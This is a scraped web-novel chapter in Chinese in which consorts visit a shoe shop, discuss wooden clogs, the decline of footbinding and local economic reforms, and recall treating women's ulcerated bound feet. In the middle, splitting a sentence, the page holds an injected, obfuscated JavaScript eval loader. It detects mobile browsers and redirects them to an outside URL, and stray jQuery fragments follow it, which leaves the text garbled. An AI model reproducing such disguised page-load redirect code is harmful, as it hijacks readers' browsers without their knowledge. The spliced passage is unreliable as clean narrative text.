默认冷灰
24号文字
方正启体

177.鞋店

作者:赵福金本书字数:K更新时间:
    离开早点铺,我们在徐玉娘的引路下,沿着拱极镇略显狭窄却充满生气的街道信步而行。街道两旁商铺林立,卖针头线脑的杂货铺、叮当作响的铁匠铺、飘着酱菜香气的腌臜铺子,还有挑着担子叫卖瓜果蔬菜的小贩,交织出一派忙碌而踏实的市井景象。与京城的恢宏规整不同,这里的烟火气更浓,也更鲜活。


    行至一处十字路口,一家新开张的鞋店吸引了我们的注意。店面不大,但收拾得干净利落,门口还摆着两盆应景的茉莉,挂着“开业大吉”的红绸。剪秋和槿汐的目光立刻被店里琳琅满目的鞋子吸引了过去,脚步不由得慢了下来。我和甄嬛对视一眼,也起了兴致。体察民情,这市井商肆的经营,百姓的穿戴用度,不也是重要的一环么?


    “进去看看。” 我低声道。几人便装作寻常顾客,走进了鞋店。


    店内光线明亮,货物摆放得井井有条,大致分了三个区域。靠门一侧的架子上,摆的多是鞋底格外厚实、用料扎实、有些还做了防滑处理的鞋子,旁边挂着个小木牌,写着“长途跋涉,耐穿耐用”。中间区域则是各式各样的便鞋,有软底绣花的,有朴素布面的,款式多样,木牌上写着“城内行走,轻便舒适”。最里面靠墙的架子上,则整齐地摆着一溜木屐,有传统的平板式,也有较为新巧的“人”字形。


    店主是个四十来岁、面容憨厚、手脚利落的汉子,见我们进来,尤其是几位女客,连忙热情地迎上来,口音带着明显的京西味儿:“几位夫人、小姐,随便看看,小店新开张,货品实在,价钱公道! 小的是房山县人,姓刘,在这拱极镇赁了铺面,专做鞋履生意。”


    “刘老板是房山人?怎想到来宛平开店?” 我随口问道,目光掠过那些鞋履。剪秋和槿汐已经好奇地拿起几双便鞋细看。


    刘老板笑道:“不瞒您说,咱们房山老家那边,山地多,耕地少,光靠种地,日子紧巴。前两年听说宛平这边搞镇公所试点,开了织坊、木匠坊,热闹起来了,来往的人多,就想着来碰碰运气。您瞧,这出门赶远路的鞋,鞋底纳得厚,用的都是好麻线、好袼褙,禁磨;城里穿的便鞋,讲究个轻软跟脚,样式也时新些。夫人小姐们看看可有合心意的?”


    槿汐拿起一双“人”字形的木屐,翻来覆去地看,眼中有些新奇。这木屐在宫中极少见,满人女子多穿花盆底或绣鞋,汉女也多穿绣鞋或布鞋,木屐多在岭南或日本流行,京师一带确实罕见。


    甄嬛也注意到了,对刘老板道:“老板店里还卖木屐?这倒是稀罕。往常在京师,便是想穿,也多是自家找人订做,少有这般摆在店里售卖的。”


    刘老板见我们问起木屐,谈兴更浓:“这位夫人好眼力! 这木屐啊,以前在咱们这儿确实卖得少,多是自家做。可这两年,风气有点变了。您看啊,那缠足的陋习,朝廷虽未明令禁止,可年轻人里头,越来越不兴这个了。只有些老人家脑筋转不过来,还非要给孙女缠。年轻姑娘媳妇们,可不管那些了,脚是自己的,舒不舒服自己知道。大夏天的,穿上布鞋棉袜,闷得慌,还容易生痱子、烂脚丫。这木屐,透风啊! 穿着凉快,在屋里、院里走走,或者雨后路上没那么多积水的时候穿穿,又舒服又便宜。我瞅着这生意有得做,就进了一批试试。您还别说,卖得不错,尤其是这人字形的,跟脚,不累。”


    听着刘老板的话,我心头微微一动。缠足渐衰,女子开始在意“舒服”…… 这看似微小的变化背后,是观念的松动,是某种程度的“身体解放”。这让我不由得想起安陵容当初力主设立的、安置那些从不良场所解救出来的女子的作坊。那些女子,大多曾被迫缠足,以迎合某种畸形的审美。将她们安置后,首要之事便是让她们放足,恢复健康。记得当时……


    剪秋显然也想起了什么,凑近我耳边,用极低的声音道:“娘娘可是想起…… 敏嫔娘娘当初那个安置作坊了?” 她指的是安陵容最早设立的、后来被张廷玉正式命名为“顺天府劳动教习院”的地方。


    我微微颔首,眼前仿佛又浮现出那些女子初到教习院时的情景。她们大多面色蜡黄,眼神惊惶,而当她们被迫脱下那畸形的、绣着华丽纹样却如刑具般的“弓鞋”,解开层层叠叠、散发着难以形容气味的裹脚布时,露出的双脚,几乎无一例外地畸形、扭曲,很多人的脚趾缝、脚心、脚跟处,布满了溃烂、流脓的伤口,有些甚至深可见骨。那间专门用于初步清理和检查的屋子……


    剪秋显然也回忆起了那段不愉快的经历,声音压得更低,带着点心有余悸:“奴婢记得,卫太医和温太医头几趟去诊看,回来脸都是青的。卫太医还特意求了皇上和张中堂,批了一批最好的活性炭来,塞在口罩夹层里,说不然那气味…… 实在是没法待人。温太医也说,很多溃烂已深入肌理,处理起来极为棘手,稍有不慎便会引发高热,危及性命。那场景…… 真不愿再回想。”


    刘老板耳朵尖,大约是听到了“溃烂”、“太医”几个字,又看我们神色凝重,便试探着问:“几位夫人说的…… 莫非是那些从不好的地方出来,或是家里逼着缠足缠得太狠的姑娘?她们的脚…… 是不是很多都烂了?唉,造孽啊!”


    我叹了口气,点头道:“正是。或多或少,都有溃烂发炎。常年裹着,血脉不通,又闷又潮,夏日出汗,冬日冻疮,极易溃烂生疮。所以你这木屐,在夏天,对脚部有旧伤、或怕闷热的人来说,倒真是合适。通风,不捂汗,能少受些罪。” 我说着,目光落回槿汐手中那双“人”字形木屐上。简单的样式,朴素的木头,却代表着一种更健康、更自在的可能。那些在教习院


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17247851|193341||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    里艰难康复的女子,若能有这样一双木屐在夏日穿用,或许能减轻些许痛苦。


    “您说得在理! 所以啊,这木屐,看着不起眼,可对脚不好的人来说,真是好东西。” 刘老板点头附和,又热情地介绍,“几位夫人小姐要不要试试?这料子都是好木头,打磨得光滑,不扎脚。穿着在屋里院里走走,可凉快了。”


    甄嬛看了看我,我略一思索,点了点头。出来一趟,体验这市井之物,也算一种体察。况且,这木屐确实看着清爽。我们几人各自挑了一双合脚的人字形木屐,就在店里换上。木头底触地略硬,但“人”字形的袢子柔软,夹在脚趾间,确实比想象中跟脚,走两步,凉风从脚底穿过,在这初夏的上午,带来一丝别样的舒爽。


    “还不错。” 甄嬛试着走了几步,点头道。剪秋和槿汐也觉得新奇有趣。


    付了钱,刘老板一边帮我们把换下的鞋子包好,一边感慨道:“说起来,咱们宛平县如今真是越来越好了。别的不说,就说这做鞋的料。镇公所官营的那个木匠坊,用料扎实,做工也规矩。不单单做桌椅农具,他们那儿出的木屐鞋底,大小标准,厚薄均匀,木头也烘得干,不容易开裂变形。我这儿不少木屐底子,就是从他们那儿进的货,比自己找木工零散做,省心又便宜。听说我们房山县那边,镇公所也在筹备了,估摸着过段时间也能办起来。等那边也上了正轨,我说不定还能回去谈谈,看能不能在老家也开个做鞋的作坊。您是不知道,咱们宛平这边,不光是木料,那织坊出的布料,花色或许不如苏杭精细,可耐磨、厚实,做鞋面、做里衬,那是顶好的! 价钱也公道。这宛平县的布料、木器,真是我在周围几个县见过最实惠、最扎实的。有了这些好料,我这做鞋的生意,才有底气啊!”


    刘老板的话语朴实,却透着一股勃勃的生机与希望。他看到了新政带来的稳定原料供应和潜在市场,并开始规划自己更大的生意版图。这不再是一个被动接受政令的小民,而是一个能主动捕捉机遇、规划未来的小商人。镇公所的织坊、木匠坊,不仅直接提供了就业,其产出的布料、木器,更成为像刘老板这样的下游手工业者的“生产资料”,激活了更广泛的经济链条。


    走出鞋店,脚上的木屐敲击着青石板路,发出“嗒、嗒”的轻响。这声音,与织机的“哐当”声、木匠坊的刨子声、车马坊的车轮声、以及市集上熙攘的人声交织在一起,汇成了一曲并不悠扬、却充满生命力的市镇交响。刘老板关于在房山县开作坊的念头,像一颗种子,暗示着“皇权下县”带来的变化,或许正以拱极镇为原点,悄然向四周扩散。这不仅仅是官府机构的延伸,更是经济活力、民生改善乃至观念变迁的涟漪。而我们脚上这双朴素的木屐,似乎也成了这变迁浪潮中,一个微小而具体的注脚。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)